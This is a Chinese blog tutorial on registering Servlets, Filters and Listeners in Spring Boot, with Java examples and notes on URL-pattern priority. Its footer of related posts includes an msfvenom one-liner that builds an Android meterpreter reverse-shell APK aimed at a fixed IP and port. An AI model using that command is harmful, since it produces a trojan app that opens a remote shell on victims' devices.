当使用spring-Boot时,嵌入式Servlet容器通过扫描注解的方式注册Servlet、Filter和Servlet规范的所有监听器(如HttpSessionListener监听器)。
Spring boot 的主 Servlet 为 DispatcherServlet,其默认的url-pattern为“/”。也许我们在应用中还需要定义更多的Servlet,该如何使用SpringBoot来完成呢?

在spring boot中添加自己的Servlet有两种方法,代码注册Servlet和注解自动注册(Filter和Listener也是如此)。
一、代码注册通过ServletRegistrationBean、 FilterRegistrationBean 和 ServletListenerRegistrationBean 获得控制。
也可以通过实现 ServletContextInitializer 接口直接注册。

二、在 SpringBootApplication 上使用@ServletComponentScan
注解后,Servlet、Filter、Listener 可以直接通过 @WebServlet、@WebFilter、@WebListener
注解自动注册,无需其他代码。

1.通过代码注册Servlet示例代码

1).SpringBootSimpleApplication.Java类:

package com.example;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;

import com.example.servlet.MyServlet;

@SpringBootApplication
public class SpringBootSimpleApplication {
    /**
     * 使用代码注册Servlet(不需要@ServletComponentScan注解)
     */
    @Bean
    public ServletRegistrationBean servletRegistrationBean() {
        return new ServletRegistrationBean(new MyServlet(), "/st/*");// ServletName默认值为首字母小写,即myServlet
    }
    public static void main(String[] args) {
        SpringApplication.run(SpringBootSimpleApplication.class, args);
    }
}

2).MyServlet.java类:

package com.example.servlet;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MyServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println(">>>>>>>>>>doGet()<<<<<<<<<<<");
        doPost(req, resp);
    }

@Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println(">>>>>>>>>>doPost()<<<<<<<<<<<");
        resp.setContentType("text/html");  
        resp.setCharacterEncoding("utf-8");
        PrintWriter out = resp.getWriter();  
        out.println("<html>");  
        out.println("<head>");  
        out.println("<title>Hello World</title>");  
        out.println("</head>");  
        out.println("<body>");  
        out.println("<h1>大家好,我的名字叫Servlet</h1>");  
        out.println("</body>");  
        out.println("</html>");
    }
}

2.使用注解注册Servlet示例代码

1).SpringBootSimpleApplication.java类:

package com.example;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;

import com.example.servlet.MyServlet;

@SpringBootApplication
@ServletComponentScan
public class SpringBootSimpleApplication {
    /**
     * 使用代码注册Servlet(不需要@ServletComponentScan注解)
     */
    @Bean
    public ServletRegistrationBean servletRegistrationBean() {
        return new ServletRegistrationBean(new MyServlet(), "/st/*");// ServletName默认值为首字母小写,即myServlet
    }
    public static void main(String[] args) {
        SpringApplication.run(SpringBootSimpleApplication.class, args);
    }
}

2).MyServlet2.java类:

package com.example.servlet;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

// 不指定name的情况下,name默认值为类全路径,即com.example.servlet.MyServlet2
@WebServlet(urlPatterns="/st/myservlet2", description="Servlet的说明")
public class Myservlet2 extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println(">>>>>>>>>>doGet2()<<<<<<<<<<<");
        doPost(req, resp);
    }

@Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println(">>>>>>>>>>doPost2()<<<<<<<<<<<");
        resp.setContentType("text/html");
        resp.setCharacterEncoding("utf-8");
        PrintWriter out = resp.getWriter();  
        out.println("<html>");  
        out.println("<head>");  
        out.println("<title>Hello World</title>");  
        out.println("</head>");  
        out.println("<body>");  
        out.println("<h1>大家好,我的名字叫Servlet2</h1>");  
        out.println("</body>");  
        out.println("</html>");
    }
}

使用 @WebServlet 注解,其中可以设置一些属性。

3.访问结果

4.DispatcherServlet默认拦截

DispatcherServlet 默认拦截“/”,MyServlet 拦截“/st/*”,MyServlet2
拦截“/st/myservlet”,那么在我们访问 http://localhost:8080/st/myservlet2
的时候系统会怎么处理呢?如果访问
http://localhost:8080/st/abc的时候又是什么结果呢?其结果是“匹配的优先级是从精确到模糊,复合条件的Servlet并不会都执行”。
既然系统DispatcherServlet 默认拦截“/”,那么我们是否能做修改呢,答案是肯定的,我们在SpringBootSampleApplication中添加代码:

/**
     * 修改DispatcherServlet默认配置
     */
    @Bean
    public ServletRegistrationBean dispatcherRegistration(DispatcherServlet dispatcherServlet) {
        ServletRegistrationBean registration = new ServletRegistrationBean(dispatcherServlet);
        registration.getUrlMappings().clear();
        registration.addUrlMappings("*.do");
        registration.addUrlMappings("*.json");
        return registration;
    }

可以通过注入DispatcherServlet 然后用ServletRegistrationBean包裹一层 动态的加上一些初始参数。

Spring Boot的Servlet简单使用的更多相关文章

  1. spring boot整合servlet、filter、Listener等组件方式

    创建一个maven项目,然后此项目继承一个父项目:org.springframework.boot 1.创建一个maven项目: 2.点击next后配置父项目及版本号 3.点击finish后就可查看p ...

  2. Spring Boot 集成servlet,发布为可直接运行的war包,方便后续打包为docker镜像。

    背景:Spring Boot 集成servlet,发布为可直接运行的war包,方便后续打包为docker镜像. 原文地址 https://github.com/weibaohui/springboot ...

  3. Spring Boot 注册 Servlet 的三种方法,真是太有用了!

    本文栈长教你如何在 Spring Boot 注册 Servlet.Filter.Listener. 你所需具备的基础 什么是 Spring Boot? Spring Boot 核心配置文件详解 Spr ...

  4. Spring Boot整合Servlet,Filter,Listener,访问静态资源

    目录 Spring Boot整合Servlet(两种方式) 第一种方式(通过注解扫描方式完成Servlet组件的注册): 第二种方式(通过方法完成Servlet组件的注册) Springboot整合F ...

  5. Spring Boot 系列 - WebSocket 简单使用

    在实现消息推送的项目中往往需要WebSocket,以下简单讲解在Spring boot 中使用 WebSocket. 1.pom.xml 中引入 spring-boot-starter-websock ...

  6. spring boot(18)-servlet、filter、listener

    servlet.filter.listener的用法就不讲了,只讲如何在spring boot中配置它们.有两种方式,一种是从servlet3开始提供的注解方式,另一种是spring的注入方式 ser ...

  7. Spring Boot (19) servlet、filter、listener

    servlet.filter.listener,在spring boot中配置方式有两种:一种是以servlet3开始提供的注解方式,另一种是spring的注入方式. servlet注解方式 serv ...

  8. spring boot中servlet启动原理

    启动过程及原理 1 spring boot 应用启动运行run方法 StopWatch stopWatch = new StopWatch(); stopWatch.start(); Configur ...

  9. spring boot配置Servlet容器

    Spring boot 默认使用Tomcat作为嵌入式Servlet容器,只需要引入spring-boot-start-web依赖,默认采用的Tomcat作为容器 01  定制和修改Servlet容器 ...

随机推荐

  1. Eclipse出现An error has occurred,See error log for more details的错误

    因为加入了Aptana组件所以一直报这个错误,用了cmd的方法依然不奏效,最后选择 Window > perferences > General > Startup and Shut ...

  2. [可用]android hack

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...

  3. 删除重复的feature vba VS 删除重复的feature python

    VBA: Sub deleteDuplicatedFeature() Dim app As IApplication Set app = Application Dim pMxDocument As ...

  4. [翻译]Spring MVC RESTFul Web Service CRUD 例子

    Spring MVC RESTFul Web Service CRUD 例子 本文主要翻译自:http://memorynotfound.com/spring-mvc-restful-web-serv ...

  5. (并查集 添加关系)How Many Answers Are Wrong --Hdu --3038

    链接: http://acm.hdu.edu.cn/showproblem.php?pid=3038 http://acm.hust.edu.cn/vjudge/contest/view.action ...

  6. SetFocus (GetDlgItem (hwnd, idFocus))函数的各参数的具体含义

    Setfocus(HWMD hwnd):将窗口hwnd设置成获得焦点 GetDlgItem (hwnd, idFocus):此函数返回一个句柄 具体参数的含义: hwnd:包含该窗口标志位的对话框的句 ...

  7. HDU1258 Sum It Up(DFS) 2016-07-24 14:32 57人阅读 评论(0) 收藏

    Sum It Up Problem Description Given a specified total t and a list of n integers, find all distinct ...

  8. jsp ckeditor ckfinder

    我认为对的事情,有可能是完全错的. 这篇教程很好: http://www.cnblogs.com/yuepeng/archive/2013/04/01/2992097.html 只看到9,权限控制还没 ...

  9. Java面向接口编程【精品博客】

    我们从生活中去理解面向接口编程,以下举例四个案例来理解: 案例一(汽车案例): /** * 汽车标准接口 * @author Liudeli */ public interface ICar { /* ...

  10. 国内云计算的缺失环节: GPU并行计算(转)

    [IT时代周刊编者按]云计算特有的优点和巨大的商业前景,让其成为了近年来的IT界最热门词汇之一.当然,这也与中国移动互联网的繁荣紧密相关,它们需要有相应的云计算服务作为支撑.但本文作者祁海江结合自身的 ...